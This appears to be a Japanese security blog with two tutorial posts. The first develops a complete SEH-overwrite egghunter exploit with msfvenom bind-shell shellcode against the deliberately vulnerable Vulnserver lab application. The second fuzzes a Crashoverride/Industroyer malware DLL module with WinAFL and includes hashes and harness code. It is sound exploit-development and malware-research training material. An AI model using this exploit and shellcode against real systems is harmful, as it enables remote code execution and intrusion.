BinaryGenes

EgghunterによるGMONエクスプロイト

Sat, 06 Jun 2020 18:25:52 GMT

この記事では、OSCEの準備としてVulnserverのGMONコマンドに対するExploit開発の流れを記事に残していきます。

記事の作成に当たって、以下のブログ記事を参考にしています。

epi052’s blog

環境

環境のセットアップは主にこの記事を参考にしています。

Windows 7 SP1 Build 7601 x86
Vulnserver
010 Editor
DB Browser for SQLite
Immunity debugger
mona.py

ファジング

はじめに、Exploit対象のWebサーバであるVulnserverがクラッシュするテストケースをBoofuzzにより見つけていきます。

下記ソースコードのコメントに記載している通り、boofuzz\boofuzz\monitors\pedrpc.pyに変更を加え、VulnserverからのRST応答によってFuzzingが止まらないようにしてからFuzzingを開始するようにします。

gmon_fuzzer.py

from pathlib import Path
from boofuzz import *


target_ip = "127.0.0.1"
target_port = 9999

fuzz_dir = Path(__file__).parent.resolve()  
txt_file = Path(fuzz_dir) / "fuzz_logs.txt"

loggers = [FuzzLoggerText(file_handle=txt_file.open('w'))]
client = pedrpc.Client(target_ip, 26002)

start_commands = ["C:\\vulnserver\\vulnserver.exe"]

connection = TCPSocketConnection(target_ip, target_port)
procmon = ProcessMonitor(target_ip, 26002)
#procmon.set_options(options)
procmon.set_start_commands(start_commands)

target = Target(
    connection=connection,
    monitors=[procmon],
)

# For fuzzing to not crap out every few hundred test cases,
# Add an additional condition to passed errno.ECONNRESET
# boofuzz\monitors\pedrpc.py
# 259: if e.errno == errno.ENOTCONN or e.errno == errno.ECONNRESET:
session = Session(target=target, restart_interval=1, fuzz_loggers=loggers)

s_initialize("vulnserver-fuzzcase")
s_string("GMON", fuzzable=False) 
s_delim(" ", fuzzable=False)
s_string("something")

req = s_get("vulnserver-fuzzcase")
session.connect(req)
print(f"fuzzing with {req.num_mutations()} mutations")

session.fuzz()

010 EditorにてCrash binファイルを開き、クラッシュが発生したTest caseの番号をextraフィールドから確認します。

Test caseのNo.2をRun DBファイルから確認すると、今回Exploitで活用するTest caseを得ることができます。

クラッシュ時の状態確認

Fuzzingによって得られたテストケースを入力し、クラッシュ発生時のVulnserverのレジスタおよびSEHの状態を確認します。

vulnserver.exeを実行し、Immunity debugger上でCtrl + F1にてAttach
Immunity debugger上でF9にてプログラムをRun
以下のPythonスクリプトを実行

initial_crash.py

import struct
import socket


target = ("127.0.0.1", 9999)
vuln_cmd = b"GMON /.:/ "
crash_len = 5011

payload = vuln_cmd
payload += b"A" * (crash_len - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Alt + CにてCPUウインドウを開きRegister欄からEIP overwriteが発生していないことがわかります。また、Alt + SにてSEH chainウィンドウを開くこと、nSEHとSEHの両方が上書きされていることがわかります。

オフセット/レングスの確認

ペイロードにおけるnSEHの上書きが始まるオフセットを確認します。

for_findmsp.py

import struct
import socket


target = ("127.0.0.1", 9999)
vuln_cmd = b"GMON /.:/ "

payload = vuln_cmd
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9G"

with socket.create_connection(target) as sock:
    sock.recv(512)
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Immunity debugger上にて!mona findmspを実行することで、SEH recordのoffsetが3514であるとわかります。

このときのStackを確認すると、nSEHおよびSEHに続いて、01D8FFCC〜01D8FFFFの52 byteを上書きできています。

52 byteは、Shellcodeを上書きには小さいです。（電卓の起動くらいなら十分可能ですが…）

よって、この小さいスペースには、別のスペースに書き込んだShellcodeを探し出して実行するための検索＆実行シーケンスを上書きすることにします。このシーケンスやテクニック自体をEgghunterと呼びます。Egghhunterの動作に関する説明は後述することとします。

余談

Windows XP SP3 Build 2600でも同様にSEHの後ろの上書き可能スペースのサイズを確認すると28 byteしかなく、Egghunterシーケンスを書き込むことができないことがわかります。実行環境によってExploitの条件は少しずつ(または大きく)異なるということです。

次に、!mona findmspで見つけたnSEHのOffsetを使ってSEHを正しく上書きできることを以下のコードで確認します。

offset_test.py

import struct
import socket


target = ("127.0.0.1", 9999)
vuln_cmd = b"GMON /.:/ "
crash_len = 5011
offset = 3514

payload = vuln_cmd
payload += b"A" * offset
payload += b"B" * 4  # nseh
payload += b"C" * 4  # seh
payload += b"D" * (crash_len - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)

    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Stackを確認すると、意図したとおりnSEHとSEHにそれぞれBBBBとCCCCが上書きされていることから、Offsetを正しく指定できていると判断できます。

エクスプロイト開発

特定したOffset情報によってSEH OverwriteとEgghunterのテクニックを用いたExploitを作成します。

exploit.py

import struct
import socket


# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
# Payload size: 355 bytes
shellcode = b""
shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
shellcode += b"\xef\x33\xf1"

# !py mona egg -t c0d3
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

target = ("127.0.0.1", 9999)
vuln_cmd = b"GMON /.:/ "

crash_len = 5011
offset = 3514 + len(vuln_cmd)
sled_len = 10
space_len = 100

payload = vuln_cmd
payload += b"A" * 100
payload += b"c0d3c0d3"
payload += shellcode
payload += b"B" * (offset - len(payload) - space_len)
payload += b"\x90" * sled_len
payload += egghunter
payload += b"C" * (offset - len(payload))

# nseh
# jmp short
payload += b"\xeb\x09\x90\x90"

# seh
# 0x625011b3, # pop eax # pop eax # ret  - essfunc.dll
payload += struct.pack("<I", 0x625011b3)

payload += b"\x90" * sled_len

# jmp -4f
payload += b"\xeb\x8F\x90\x90"

payload += b"D" * (crash_len - len(payload))

with socket.create_connection(target) as sock:
    sock.recv(512)
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

SEH overwrite

SEHのプロトタイプを以下に示します。

SEHプロトタイプ(excpt.hより)

EXCEPTION_DISPOSITION __cdecl _except_handler(
    struct _EXCEPTION_RECORD *_ExceptionRecord,
    void *_EstablisherFrame,
    struct _CONTEXT *_ContextRecord,
    void *_DispatcherContext
);

例外ハンドラが呼び出される際には、第2引数_EstablisherFrameとしてnSEHのポインタが渡されます。そのときのStackの状態を以下に図示します。

例外ハンドラにpop pop retのガジェットを配置しておくことで、EIPが_EstablisherFrameに移る、つまり例外ハンドラであるSEHに続いてnSEHが実行される状態を作ることができます。

!mona sehにて利用可能なpop pop retガジェットを探すことができます。

SEH overwriteの動作確認を行う際の手順を以下に示します。

Exploit (SEH overwrite)を実行
Alt + SにてnSEHおよびSEHが想定通り上書きされていることを確認
!mona bpsehにてSEHにBreak poitを張る
Shift + F9にてcontinue and intercept exceptionsを実行
以下の画像のようにpop pop retガジェットを上書きしたSEHにEIPが移るか確認
pop pop retの次にnSEHにEIPが移るか確認

なお、SEH overwriteとその防御機構についてはFFRIのレポートに分かりやすくまとめられています。

Egghunter

Egghunterとは、Heap領域にShellcodeを書き込んだ場合など、アドレスが不定のShellcodeへジャンプするために使われるテクニックです。Shellcodeの直前にw00tw00tのように4 byte文字列2つで構成されるEggを配置し、そのEggを検索することでShellcodeのアドレスを特定しジャンプします。

Egghunterの動作を表現する関数をPseudo codeとして以下に示します。

pseudo_code.c

void egghunter(address) {
    if (value(address) == <EGG_STRING>) {
        jump_to(address)
    }
    else {
        egghunter(address + 1)
    }
}

mona.pyを使うとEgghunterのアセンブリを簡単に作成することができます。-tオプションでEggの文字列を任意の値に指定することができます。

!mona egg -t c0d3で生成されたアセンブリを以下に示します。

egghunter.asm

LOOP_INC_PAGE:
    OR DX,0FFF              : Pageの最終アドレスへEDXを移動 (6681CAFF0F)
LOOP_INC_ONE:
    INC EDX                 : EDXを1つ進める (42)
LOOP_CHECK:
    PUSH EDX                : EDXを保存 (52)
    PUSH 00000002           : 2はNtAccessCheckAndAuditAlarm (6A02)
    POP EAX                 : NtAccessCheckAndAuditAlarmをEAXにセット (58)
    INT 2E                  : EDXを引数にNtAccessCheckAndAuditAlarmを実行 (CD2E)
    CMP AL,05               : Return valueをACCESS_VIOLATIONを意味する
                            : 0xC0000005と比較 (3C05)
    POP EDX                 : EDXを復元 (5A)
    JE LOOP_INC_PAGE        : EDXがアクセス不可の場合、次Pageへ移すべくJMP (74EF)
    MOV EAX,33643063        : EAXにeggであるc0d3を代入 (B863306433)
    MOV EDI,EDX             : EDXをEDIにセット (8BFA)
    SCASD                   : EDIが示す文字列とEAXを比較しEDIに4加算 (AF)
    JNE LOOP_INC_ONE        : EDIが示す文字列がeggと不一致の場合、アドレスを1つ進め
                            : スキャンを継続するべくJMP (75EA)
    SCASD                   : egg2つが連続しているか確認 (AF)
    JNE LOOP_INC_ONE        : EDIが示す文字列がeggと不一致の場合、アドレスを1つ進め
                            : スキャンを継続するべくJMP (75E7)
    JMP EDI                 : eggの直後へJMP (FFE7)

メモリには、1つ以上のPageからなるRegionと呼ばれる領域がレイアウトされており、Immunity debugger上でAlt + Mそのレイアウトをメモリマップとして確認することができます。

Read, Write, Executeといったメモリのアクセス権はPageごとに設定されるものであるため、Egghunterではメモリ内のアドレスを示すEDXを1ずつ増加させながらegg文字列を検索し、EDXがアクセス不可の領域を示した場合にはx86の最小Page sizeである0x1000ずつEDXを進めながらegg文字列の検索を続けます。

その他

今回ののExploitコードは、SEH overwriteにて直接Egghunterへジャンプせずに、Egghunterのある位置へのジャンプコードへジャンプする動作となっています。

これは余談にて述べたWindows XP SP3 Build 2600のようにSEH直後の領域がEgghunterを書き込むのに十分なスペースがない場合を想定した作りであり、それは実際にはWindows 7 SP1 Build 7601 x86環境では不要の動作です。

WinAFLでDLLをFuzzingする

Sat, 02 May 2020 23:56:42 GMT

この記事では、WinAFLによるDLLのファジングを行うために必要となるハーネス作成やバイナリパッチ当て等の流れを説明していきます。

Harnessとは

DLLをFuzzingする場合には、DLLをロードするEXEであるHarnessを書いてあげる必要があります。HarnessからDllMain()やExport関数を呼び出し、Fuzzを入力するということです。

Target DLL

2016年12月にウクライナを停電させたサイバー攻撃に使用されたマルウェアであるCrashoverrideのモジュール (DLL)をターゲットとします。

CrashoverrideはIndustroyerとも呼ばれるICSマルウェアの1つです。

攻撃者は、LauncherにDLLとConfigファイルのパスを指定することで、モジュール内に実装された機能を実行します。

今回のターゲットは、そのモジュールの中でも電力網で利用される制御プロトコルであるIEC 60870-5-104 (aka IEC 104)を送受信するものです。

動作の概要を理解するのにはESETのレポートを読むと良いです。

SHA256

Module: 7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad
Launcher: 21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561

Targetの解析

Fuzzingを行うためには、Target内のどの部分を対象とするかを決める必要があります。

インプットをパースする関数には例外処理の甘さから脆弱性となり得る部分が多く含まれるため、パースの役割を持つ部分を探していきます。

今回のTargetはConfigファイルを読み込んで動作を変更するため、Configファイルのパース部分を探していきます。

ESETのレポートより、TargetはLauncherバイナリから下記コマンドで実行されるとあります。

$ %LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll %CONFIGURATION%.ini

LauncherにはConfigのパースには関係のない処理が含まれている可能性が高いです。LauncherをReverse engineeringしてDLL呼び出し部分の処理を確認していきます。

Launcher

defragsvcという名称で、DLL内のIEC 104送受信用の機能とWiper機能がサービスとして登録されます。

((void (__cdecl *)(LPWSTR))lpCrash)(argv_cpy[3]);より、DLLのExport関数はCrash((wchar_t) ConfigPath);で呼び出せることが分かります。

続いて、Moduleの方をReverse engineeringしていきます。

Module

まずLoadLibrary()でModuleをロードした際に走る処理を確認しておきます。

DllMain()には処理が含まれていないため、Export関数のみに注目すれば良いことが分かります。

Crash()を見てみると、ConfigファイルをTokenizeするLexerを実行したのち、Tokenを解析してIEC 104を送受信するParserが無限回数実行されることが分かります。

パケット送受信等を伴うParserはFuzzingを実行するまでに必要な動作の解析、バイナリのパッチ当てが多く必要になりそうであるため、まずはLexer単体でFuzzingを開始することにします。

Crash()を呼び出した際にLexerだけが実行されるようにバイナリにパッチを当てます。

Patch当て

call aa_lexer内部にはfopen()'とfclose()‘が両方含まれているため、call aa_lexer直後をret 0に書き換えることにします。

※Closeせずに実行終了される場合には、Fuzzingの実行がプロセスの開始からのループとなってしまい、exec speedが大幅に減速してしまいます。Target内部ではOpenしたファイルを必ずCloseしましょう。

バイナリのパッチ当てにはIDA pluginのKeypatchとidadif.pyを使いました。

Keypatchを使う場合には、call aa_lexer直下を選択しCtrl+KでPatcherを開きます。

Assemblyのボックスに変更後のインストラクションを記載し、Patchを押下します。

call aa_lexer直下がretn 0に書き換わりました。Keypatchを使うと余ったバイトをNOPで埋めてくれるため便利です。

この状態ではidbファイル上でパッチが当たっているだけで、バイナリ自体は編集されていないため、idadif.pyを実行してバイナリにパッチを当てます。

バイナリへのパッチの当て方はStackoverflowのAnswerに簡潔にまとまっています。

次に、Moduleを呼び出すためのHarnessを書いていきます。

Harness作成

以下に今回書いたHarnessのソースコードと、その重要なポイントについて記載します。

harness_crash.c

#include <windows.h>
#include <stdio.h>

extern __declspec(dllexport) void fuzz_crash(wchar_t* ConfigPath);

typedef int (*INSPECT)(wchar_t *file_path);
INSPECT Crash;

wchar_t* charToWChar(const char* text) {
    size_t size = strlen(text) + 1;
    wchar_t* wa = (wchar_t*)malloc(sizeof(wchar_t) * size);
    mbstowcs(wa, text, size);
    return wa;
}

void fuzz_crash(wchar_t *ConfigPath) {
    Crash(ConfigPath);
    return;
}

int main(int argc, char *argv[]) {
    char FuncName[] = "Crash";
    char DllName[] = "Crash104.dll";

    HMODULE hModule = LoadLibraryA(DllName);
    if (hModule == NULL) {
        printf("Failed to load library %s", DllName);
        return -1;
    }
    Crash = (INSPECT)GetProcAddress(hModule, FuncName);
    if (Crash == NULL) {
        printf("%s: GetProcAddress failed.", FuncName);
        FreeLibrary(hModule);
        return -1;
    }
    fuzz_crash(charToWChar(argv[1]));
    return 0;
}

ポイントは以下3点です。

ポイント1. char DllName[] = "Crash104.dll";

コンパイル時に指定したファイル名から名前を変更しないこと

DLLファイル名をコンパイル時から変更してしまっているとWinAFLによるFuzzing実行時に下記のエラーが発生します。

